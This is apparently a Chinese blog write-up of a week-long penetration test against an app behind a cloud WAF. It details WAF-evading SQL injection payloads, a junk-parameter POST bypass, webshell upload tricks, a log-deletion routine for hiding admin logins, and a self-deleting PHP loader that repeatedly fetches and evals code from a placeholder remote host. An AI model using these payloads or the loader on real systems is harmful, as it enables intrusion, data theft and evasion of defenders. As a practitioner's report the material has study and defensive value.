渗透实战 | 与某WAF对线三百回合

admin 2021年12月24日05:57:35评论71 views字数 4904阅读16分20秒阅读模式
旧文重发:之前投稿到安译首发,现在重发申请一下原创。

 渗透实战 | 与某WAF对线三百回合

0x00 前言

这里分享一个项目,目标系统漏洞百出但有一个极其nb的waf。我和它斗智斗勇每天进展一点点,最终用一周时间基本搞定。

一直认为waf这种东西只能防止无目的的攻击,在针对性的攻击面前,则只能拖延一点时间而已,并不能真正解决系统的安全问题。

现在waf广泛使用的【基于特征】的检测方式有千奇百怪的攻击手法可以绕过,而新型的【基于行为】的检测方式国内还不成熟。

这里分享的案例是国内的一个【基于特征+行为】的waf,项目没有截图,只能委屈大家看表情包脑补一下……
0x01 小试牛刀(第1天)

首先拿到手是一个app,放入模拟器抓包提取app核心域名+访问路径,注册账号在网页上登陆进行测试。


技术情况收集如下:目标系统框架thinkcmf,修复了日志泄露漏洞,中间件nginx,操作系统linux,有一个不知哪个厂商的cdn并附带waf


随意测测各个功能和页面,thinkcmf这种大框架的安全性还是可以的,但是架不住没有安全意识的开发自己乱写代码。


很快我发现url中的一个【伪静态参数单引号报错】,目标开启了tp的sql调试模式,报错内容非常详细:有sql语句,配置文件里所有内容含盐,当前库名表名,当前用户在用户表中的所有字段和数据等。


既然已经有了数据库账户和密码(配置文件中),首先看能否绕过cdn找到真实ip直接连接,尝试很多方法未果,报错页面中其实也有ip相关信息,但是只有cdn的ip和一个内网ip。


放弃幻想开始手工注入,首先用一般的/*!50000*/混淆payload,当场被拦,后面进行模糊测试,观察了这个waf检测的特征与绕过方法如下:


(0)大小写混用、url、16进制编码无用


(1)过滤union select 

union distinct select绕过


(2)过滤select空格 

select后面的参数用引号包裹可以不加空格


(3)过滤空格from

和from挨着的那个参数用科学计数法可以不加空格


(4)过滤from空格

from{x 表名}语法绕过


(5)过滤information_schema

没能绕过,导致查不到表名列名,但还好用户表的表名和列名都在报错页面爆出来了不用查。


(6)过滤注释符/* - # 

调整payload在适当的位置加括号可以不用注释


最终注出用户表数据的payload如下(联合查询,四列,2、3列回显):


https://www.example.com/a/b/c/id/1) uNion distinct (select'1',username,password,3e0from{x user}order by 1 limit 0,1.0

然后……下班时间到了。


渗透实战 | 与某WAF对线三百回合

【今日成果】:app基本信息收集,数据库敏感信息获取,sql注入绕过waf查询用户表。


0x02 暗度陈仓(第2天)

利用sql注入查询其他用户数据,cmf框架的用户结构不像一般的框架那样分成普通用户表和管理用户表,它的管理员和普通用户都在同一个表里。

表中的用户用一个字段去区分不同角色,这样虽然获取不到表名,但我只查用户表就可以获取管理员信息。

查询之后发现目标系统一个管理员(角色字段值为1,其余用户都是2,密码是hash加盐加密的,thinkcmf的加密方式cmd5里没有,只能自己跑彩虹表。

跑了400万个弱口令和社工密码之后没解出来……其他比较靠前的测试用户倒是解出一大堆。

这时的情况是,【空有一个普通权限的注入点】不知道其他表名只能查用户表,管理员用户密码hash解不开,解开了也没用后台地址目前还没找到。


渗透陷入了僵局,于是我开始收集信息,收集到了目标的另外两个站——A站和B站(非二次元)。


【先看A站】,阿里云服务器,真实ip,没有cdn也没有waf,宝塔,dedecms,开了22和3306端口,后台地址admin,用户名admin,服务器用户名rootmysqlwww(ssh用户名枚举漏洞)。


开始测试:爆破、注入、扫目录、织梦已知漏洞等等一顿操作之后,没搞进去,放弃。


【再看B站】,有cdn,ecshop,注册账户后登陆,开始测试:前台sql注入、头像上传、留言板xss、垂直越权等等……,都没有


不慌,一个/admin看到后台,随手一个123456……,没进去。但是发现没有验证码,挂上burp,top10000走起,弱口令成功登入。


以上行为总结:一顿操作猛如虎,一看密码三四五


渗透实战 | 与某WAF对线三百回合


进后台找了几个上传点,全都是后缀白名单,没有包含和解析漏洞。但是惊喜的发现后台有【sql查询功能】(直接运行sql语句)和【数据库测试连接功能】


开始测试sql查询功能,输好sql语句按回车,熟悉的waf页面又弹了出来……


重新尝试绕过,昨天的注入点是get型,这里是post型,waf的过滤规则相应有些变化。具体什么规则我没有记录,因为最后我是用:【post传参不限制长度,传递100个参数之后,第101个参数waf不会进行检测】个方法去绕过的。前面加100个垃圾参数,之后的参数根本不用加任何混淆,堪称为所欲为。


渗透实战 | 与某WAF对线三百回合

重新开始sql查询,用户权限root,限制了文件读写目录,列库名,意外的发现商城和app竟然是旁站


现在我不仅可以查询,还可以增删改app的数据,而且表名列名也都能查到了。


接下来尝试用数据库测试连接功能寻找真实ip因为waf是cdn附带的,知道真实ip等于使waf失效,若3306开放还可以直接连入数据库,所以真实ip还是很有价值的。


具体操作】:用nc在vps上监听端口,后台这边用测试连接功能发出请求,nc那边收到ip地址。


但是去访问发现该ip仅开了80端口,空白页面,修改hosts文件也没办法解析。真实ip还是没有找到,真奇怪。


容我先下个班慢慢想想怎么回事……


渗透实战 | 与某WAF对线三百回合

【今日成果】:用户信息收集,资产信息收集,旁站sql查询功能绕过waf操作数据库。

0x03 登堂入室(第3天)

截止第2天,我通过旁站的sql查询功能拿到了数据库root权限,但是管理员做了安全配置不能读写文件,所以还是要想办法进后台看看能不能getshell。可是目前后台地址还没有找到,常规的扫目录会被ban ip。


随意翻翻数据库,在系统配置表里翻到了一串神秘的字符串,注释写着后台加密,拿去拼到url后面试一试,竟然就跳到了后台登陆界面。


后面才知道目标有个【后台地址加密】功能,不过应该不是cmf框架原版的后台地址加密(/?g=admin&upw=加密码),可能是二次开发魔改的,所以直接拼到url后面就行了。


已知后台,可以改管理员密码去登陆,但是我看了一下数据库登陆日志表,发现目标的唯一管理用户其实很多人在用,登陆频率相当高。直接改密码动作太大了。需要想另外的方法登入。

我首先尝试了一下登陆日志xss盲打,在数据库里把登陆日志的一条改为偷cookie的js。然后就在xss平台蹲守,大概一小时之后,xss平台没有任何记录,反而数据库中看到登陆日志全被管理员清掉了……弄巧成拙。


转变思路,把一个已解出密码的普通用户提权为管理员(在数据库里改一个字段),然后提前准备好清除单条登陆日志的sql句,这边后台一登陆,旁站那边立刻运行,最终依靠手速达到悄无声息登陆后台的效果。

查看后台功能,找到了一个开发自己写的上传点,代码层面应该是没做任何过滤,但是尝试上传webshell时,熟悉老朋友又见面了——那个waf的页面。


继续硬刚,一番测试之后,发现waf基于两方面进行拦截:
(1)检测文件后缀名,匹配到php等敏感后缀就不予放行(php2,php3等都试过了)。
(2)检测文件内容,匹配到<?php就不予放行(大小写混淆也试过了)。

了解了检测特征,开始一一尝试绕过,首先是后缀名,利用引号分号和换行进行混淆绕过:filename==="shell';.ph

p"  


文件内容,尝试利用php短标签<??>进行绕过,很幸运目标开启了短标签功能。至此可以上传webshell。

先传了个年久失修的原版冰蝎(非3.0),连接时被拦截,是基于流量特征的检测。当时很懒没有去改冰蝎,直接传了个大马,可用。


然后我开始翻文件,当时没想到这个waf还藏了一手,随意翻了大概半小时,突然熟悉的waf页面又出来了,大马被杀。而且我用大马藏的其他webshell也都不能访问了,杀的是一干二净。

换个ip,我又登进后台传了一遍大马,依旧能用,但是这次仅仅过了不到十分钟,waf就出来了。换个ip再传,这次是一分钟,也就是连接之后点了两三下而已。这时才知道这个waf还有个基于行为检测的功能,类似机器学习的那种感觉。


看来这个大马waf已经很熟悉不能再用了,我找了另外一个大马,正当我换好ip打算进去再传一遍时,突然发现旁站sql查询的功能的页面也被waf拦截了……这确认了两点:
(1)这个waf确实有自学习的功能,虽然学的慢了点(那个功能我用了接近一天)。
(2)这waf狠起来连自己人都杀

没了那个功能,就不能清理登陆日志了,登陆后台会有被发现的危险。正好此时也到了下班时间……
渗透实战 | 与某WAF对线三百回合

0x04 返璞归真(第4天)

上班,先看看被waf拦截的“自己人”有没有恢复,不看不要紧,一看发现,管理员把整个旁站都下线……用之前的前台sql注入看了一下,自己加的用户还在。但是清理不了日志的情况下怎么能隐蔽的登陆后台呢?


这就是考验手速的时候了,提前准备好清理日志、拖源码、拖库三个php脚本,登陆后台后立马上传大马,利用waf自学习的时间差,上传运行并删除三个脚本(其实可以把三个脚本合成一个,然后不传大马直接传脚本),之后用迅雷把源码和数据库下载了回来。

渗透实战 | 与某WAF对线三百回合

本来打算代码审计一波,结果因为意外项目结束了……

0x05 思考

因为项目并没有完整的做完,所以我和waf之间也没分出个胜负。但后面想一想,针对waf这种基于行为检测方式和自学习功能,应该如何去绕过呢,这里有我想出的三个方法,抛砖引玉,大家也可以在留言区讨论一下。

(1)利用代理池隐蔽恶意流量。
【分析】同样是系统自带的页面,后台的sql查询功能在我用了一天之后就被杀了,但是前台的sql注入我用了四天也没见被拦。猜测waf可能有一个模型,检测正常流量和恶意流量的比例。
【操作】:我上传大马后,挂一个代理池,构造大量的正常访问流量,把恶意流量混入其中,让waf以为这是一个正常页面,这样可以降低被杀的概率。

(2)加密返回报文。
【分析】waf是cdn附带的,没有部署在目标服务器上,理论上它不可能知道我到底运行了什么命令,所谓基于行为其实应该是基于返回包的内容的特征匹配。
【操作】:那么我只要改一改冰蝎就好了,去掉流量特征,返回包全加密,waf就不知道我到底做了什么。

(3)php无文件木马。
【分析】利用php的无文件木马,上传一个运行后会删除自己的脚本,它会驻留在内存中运行,脚本内容是一个死循环,隔一段时间运行一下远程vps上的代码,这种没有文件落地的webshell想必waf也没办法去拦截。

【操作】

<?php

    unlink($_SERVER['SCRIPT_FILENAME']);

    ignore_user_abort(true);

    set_time_limit(0);

    $remote_file ='http://www.evilsite.com/eval.txt';

    while($code =file_get_contents($remote_file)){

        @eval($code);

        sleep(5);

    };

?>


0x06 后记

渗透实战 | 与某WAF对线三百回合
VX公众号:《小黑的安全笔记》

项目戛然而止,让我失去了和这个waf对线的机会,说起来有点丢人,截止今天前我还不知道这个waf是哪家的,不过在安译Sec首发此文之后,南方师傅已经告诉我了:某云盾。


项目全程没有截图,但是waf我截过一张,放在下面了。仅以此纪念这个和我对线将近一周的对手。


渗透实战 | 与某WAF对线三百回合


END.


喵,点个赞再走吧~

本文始发于微信公众号(小黑的安全笔记):渗透实战 | 与某WAF对线三百回合

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月24日05:57:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   渗透实战 | 与某WAF对线三百回合http://cn-sec.com/archives/465092.html

发表评论

匿名网友 填写信息